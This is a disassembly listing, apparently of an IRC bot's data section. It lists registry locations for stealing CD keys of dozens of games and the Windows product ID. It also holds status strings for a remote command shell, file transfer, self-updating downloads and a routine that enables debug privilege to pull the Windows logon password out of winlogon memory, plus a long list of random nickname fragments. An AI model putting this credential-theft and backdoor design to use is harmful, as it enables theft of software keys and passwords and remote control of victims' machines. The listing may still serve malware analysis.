aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368BCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368B8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368B4o
		align 4
asc_437AB4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437AB8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B34	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437B58	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_437B70	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437B9C	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437BC0	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437BD8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437BF0	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437C10	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C34	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437C58	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437C84	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CA4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437CD4	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D04	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D30	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D64	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437DA8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437DC4	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E24	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437E50	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_437E78	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437EA0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437EF0	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437EF4	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437F08	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F44	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437FF0	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_438024	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438050	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_4380E4	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset byte_4E0049
		dd 0
off_4380FC	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_4381C0	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_43820C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43825C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382B0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
		dd offset dword_438E5C
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E58
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset dword_438E4C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E3C
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset word_438E24
		dd offset dword_438E20
		dd offset aI_0		; "I"
		dd offset dword_438E1C
		dd offset dword_438E18
		dd offset aA_0		; "A"
		dd offset dword_438E14
		dd offset dword_438E10
		dd offset dword_438E0C
		dd offset dword_438E08
		dd offset dword_438E04
		dd offset dword_438E00
		dd offset dword_438DFC
		dd offset dword_438DF8
		dd offset dword_438DF4
		dd offset dword_438DF0
		dd offset dword_438DEC
		dd offset dword_438DE8
		dd offset dword_438DE4
		dd offset word_438DE0
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438B78
		dd offset off_438B74
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4389E0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385B0	dd offset aSex		; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E3C
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset dword_438E4C
		dd offset aI		; "i"
		dd offset dword_42BBBC
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_438E48
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E5C
		dd offset dword_438E40
		dd offset dword_438E58
		dd offset dword_438E44
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E44
		dd offset dword_438E50
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438800
		dd offset aBbl		; "|bbl"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset a___0		; "_|_"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_438E0C
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E3C
		dd offset dword_43D7D8
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D7D8
		dd offset dword_43D7D8
		dd offset dword_438DF0
		dd offset dword_43D7D8
		dd offset off_4387C0
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438780
		dd offset dword_43877C
		dd offset dword_438774
		dd offset dword_438768
		dd offset dword_438760
		dd offset dword_438758
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
dword_438748	dd 7536h		; DATA XREF: ___:00438744o
dword_43874C	dd 7535h		; DATA XREF: ___:00438740o
dword_438750	dd 7C75347Ch, 0		; DATA XREF: ___:0043873Co
dword_438758	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438738o
dword_438760	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438734o
dword_438768	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438730o
					; Themida_:005477F9o
dword_438774	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043872Co
dword_43877C	dd 6C6F6Ch		; DATA XREF: ___:00438728o
dword_438780	dd 746F74h		; DATA XREF: ___:00438724o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438720o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043871Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438718o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438714o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438710o
aShit		db 'shit',0             ; DATA XREF: ___:0043870Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438708o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438704o
		align 10h
off_4387C0	dd offset word_594F42	; DATA XREF: ___:00438700o
aFree		db 'Free',0             ; DATA XREF: ___:004386ECo
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:004386E8o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:004386DCo
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:004386D0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:004386CCo
aLuvu		db 'LUVU',0             ; DATA XREF: ___:004386C8o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386ACo
aBbl		db '|bbl',0             ; DATA XREF: ___:004386A0o
		align 10h
off_438800	dd offset loc_425242	; DATA XREF: ___:0043869Co
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438688o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438684o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438680o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:0043867Co
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438678o
		align 4
